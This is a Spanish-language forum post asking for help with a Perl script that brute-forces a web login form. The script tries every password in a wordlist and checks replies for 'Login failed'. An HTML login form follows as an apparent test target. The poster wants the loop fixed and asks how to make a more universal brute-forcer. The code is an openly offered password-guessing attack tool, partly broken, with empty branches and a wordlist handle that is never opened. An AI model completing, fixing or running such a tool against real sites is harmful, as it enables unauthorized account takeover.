estaba tratando de hacer un bruteforce sencillo pero no logro hacer que funcione bien, ya que busca en un diccionario las palabras pero cuando pasa la correcta no se detiene
espero me puedan ayudar porfavor
Este es el codigo perl
Código
use LWP::UserAgent; use HTTP::Request::Common; my $target = $ARGV[0]; my $user = $ARGV[1]; my $file = $ARGV[2]; my $bot = $ARGV[3]; unless ($target || $user || $file){ } if(! -f $file){ }else{ @word = <WORDLIST>; close WORDLIST; $i = 0; foreach $words(@word){ $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0"); $request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]); $fondo = $request->content; if($fondo =~ m/Login failed/i){ }else{ $i++; } } }
Y este es el codigo php con el que intento que funcione, no se si lo que hago es bueno, o habra otra forma de hacer un bruteforce mas universal
Código
<form action="login.php" method="post"> <fieldset> <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br /> <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /> <p class="submit"><input type="submit" value="Login" name="Login"></p> </fieldset> </form>
salu2